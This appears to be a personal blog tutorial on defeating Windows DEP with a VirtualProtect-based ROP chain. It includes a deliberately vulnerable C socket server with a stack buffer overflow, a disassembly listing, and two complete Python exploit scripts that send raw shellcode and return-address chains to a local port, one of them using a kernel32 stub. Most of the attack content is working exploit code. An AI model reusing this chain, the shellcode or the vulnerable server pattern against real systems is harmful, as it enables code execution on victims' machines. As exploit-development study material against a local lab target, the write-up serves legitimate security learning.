DEP Bypass by VirtualProtect
I re-visisted this topic and found the bypass is much easier than I have thought.
A case where VirtualProtect
is present
Assuming we have a piece of x86-32bit code which calls VirtualProtect
on a program with a buffer overflow vulnerability compiled with DEP, you can execute code if you know fix stack and code address.
/* bof.c */ #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <winsock2.h> #include <ws2tcpip.h> #include <stdio.h> #pragma comment(lib, "ws2_32.lib") void somewhere() { char buf[1024]; DWORD oldprotect; VirtualProtect(buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldprotect); } void bof(SOCKET c) { char buf[400]; printf("[+] buf = %p\n", buf); recv(c, buf, 1024, 0); } int main() { WSADATA wsaData; SOCKET s, c; SOCKADDR_IN name; BOOL yes = 1; WSAStartup(MAKEWORD(2, 2), &wsaData); s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0); setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (const char *)&yes, sizeof(yes)); name.sin_family = AF_INET; name.sin_addr.s_addr = INADDR_ANY; name.sin_port = htons(4444); bind(s, (SOCKADDR *)&name, sizeof(name)); listen(s, 5); puts("[+] listening on 0.0.0.0 port 4444"); c = accept(s, NULL, NULL); closesocket(s); puts("[+] connection accepted"); bof(c); closesocket(c); ExitProcess(0); }
This code was borrowed from https://inaz2.hatenablog.com/entry/2015/07/11/211226.
Without compiler optimization and dead code elimination by Microsoft VIsual Studio Compiler, you will see the assembly of a function somewhere
.
.text:00401250 ; =============== S U B R O U T I N E ======================================= .text:00401250 .text:00401250 ; Attributes: bp-based frame .text:00401250 .text:00401250 ; void __cdecl somewhere() .text:00401250 ?somewhere@@YAXXZ proc near .text:00401250 .text:00401250 buf = byte ptr -404h .text:00401250 oldprotect = dword ptr -4 .text:00401250 .text:00401250 push ebp .text:00401251 mov ebp, esp .text:00401253 sub esp, 404h .text:00401259 lea eax, [ebp+oldprotect] .text:0040125C push eax ; lpflOldProtect .text:0040125D push 40h ; '@' ; flNewProtect .text:0040125F push 400h ; dwSize .text:00401264 lea ecx, [ebp+buf] .text:0040126A push ecx ; lpAddress .text:0040126B call ds:__imp__VirtualProtect@16 ; VirtualProtect(x,x,x,x) .text:00401271 mov esp, ebp .text:00401273 pop ebp .text:00401274 retn .text:00401274 ?somewhere@@YAXXZ endp
The function somewhere
does not take any arguments and all arguments on VirtualProtect
are pre-fixed. But, you can call the function from just before call
on 0x0040126b
with your arguments.
As a prerequisite, you need to gather the below information.
- head of stack address on
somewhere
function - where the address of caller
main
is put - where is the address of the function which calls
VirtualProtect
, namelysomewhere
- address of
pop_ebp_ret
import socket import struct # Execute Calc shellcode = b'\xFC\xEB\x65\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x37\x49\x8B\x34\x8B\x03\xF5\x33\xFF\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE4\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA8\x33\xC0\x50\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x84\xFF\xFF\xFF\x50\x68\x7E\xD8\xE2\x73\xE8\x79\xFF\xFF\xFF' def __do_pwn(): shellcode_head = stack_head = 0x0019FBCC bufsize = 400 # prepare shellcode on the buffer buf = shellcode # fill blank before reaching the return address buf += b'A' * (bufsize - len(shellcode)) buf += b'AAAA' # you can find this on tails of most functions. pop_ebp_ret = 0x401273 buf += struct.pack('<I', pop_ebp_ret) # the value of ebp will be copied to esp where you want to pivot off after coming back from VirtualProtect. 432 is the continuation address of the stack where PAGE_EXECUTION must be enabled. ebp = stack_head + 432 buf += struct.pack('<I', ebp) # Address of call VirtualProtect virtual_protect_call = 0x0040126b buf += struct.pack('<I', virtual_protect_call) # 1st argument (pointer of the head of the target address) buf += struct.pack('<I', shellcode_head) # 2nd argument (size of the target page) buf += struct.pack('<I', 1024) # 3rd argument (flNewProtect = PAGE_EXECUTE_READWRITE) buf += struct.pack('<I', 0x40) # 4th argument (pointer of oldprotect which could be anywhere if it is valid and could be overwritten) buf += struct.pack('<I', stack_head + len(shellcode)) # You want to set ebp which are supposed to be copied to esp at this stack address. # print(len(buf)) # you need to add 4byte for "pop ebp" after "mov esp,ebp" buf += struct.pack('<I', 0) # Now you can execute codes on stack. buf += struct.pack('<I', shellcode_head) c = socket.create_connection(('127.0.0.1', 4444)) c.sendall(buf) c.close() __do_pwn()
After coming back from somewhere
, mov esp, ebp
will forget the position which was on the buffer of this stack. This is a good opportunity to get stack pivoted off, but in this case simply let it goes back to the original stack where shellcode waits. Before VirtualProtect
is called, this buffer was non executable, but no longer later on.
A case where VirtualProtect
is not present
You can also call VirtualProtect
stub on Kernel32.dll
assuming you know the base address of Kernel32.dll
.
Kernel32.dll
has one stub which jumps on VirtualProtect
.
Note that offset must be different up to the version of Kernel32.dll
. You can verify the offset with rp++
We do not need to take the subsequent codes into consideration because this stub uses jmp
not call
. It just comes back after the continuation point of the ROP chain.
def __rop_on_kernel32(): stack_head = shellcode_head = 0x0019FBCC # 0x773A0000 is base address of Kernel32.dll # 0x20766 is the offset of stub of VirtualProtect virtualprotect_on_k32 = 0x773A0000 + 0x20766 bufsize = 400 buf = shellcode buf += b'A' * (bufsize - len(shellcode)) buf += b'AAAA' buf += struct.pack('<I', virtualprotect_on_k32) # comes back to this after jmp buf += struct.pack('<I', stack_head) # Argument of VirtualProtect buf += struct.pack('<I', stack_head) buf += struct.pack('<I', 1024) buf += struct.pack('<I', 0x40) buf += struct.pack('<I', stack_head + len(shellcode)) c = socket.create_connection(('127.0.0.1', 4444)) c.sendall(buf) c.close() __rop_on_kernel32()
I do not know direct jump on the stub on Kernel32.dll
is well known, but at least found it useful as I discovered.
There might be stubs on other DLLs which allows similar DEP evasion.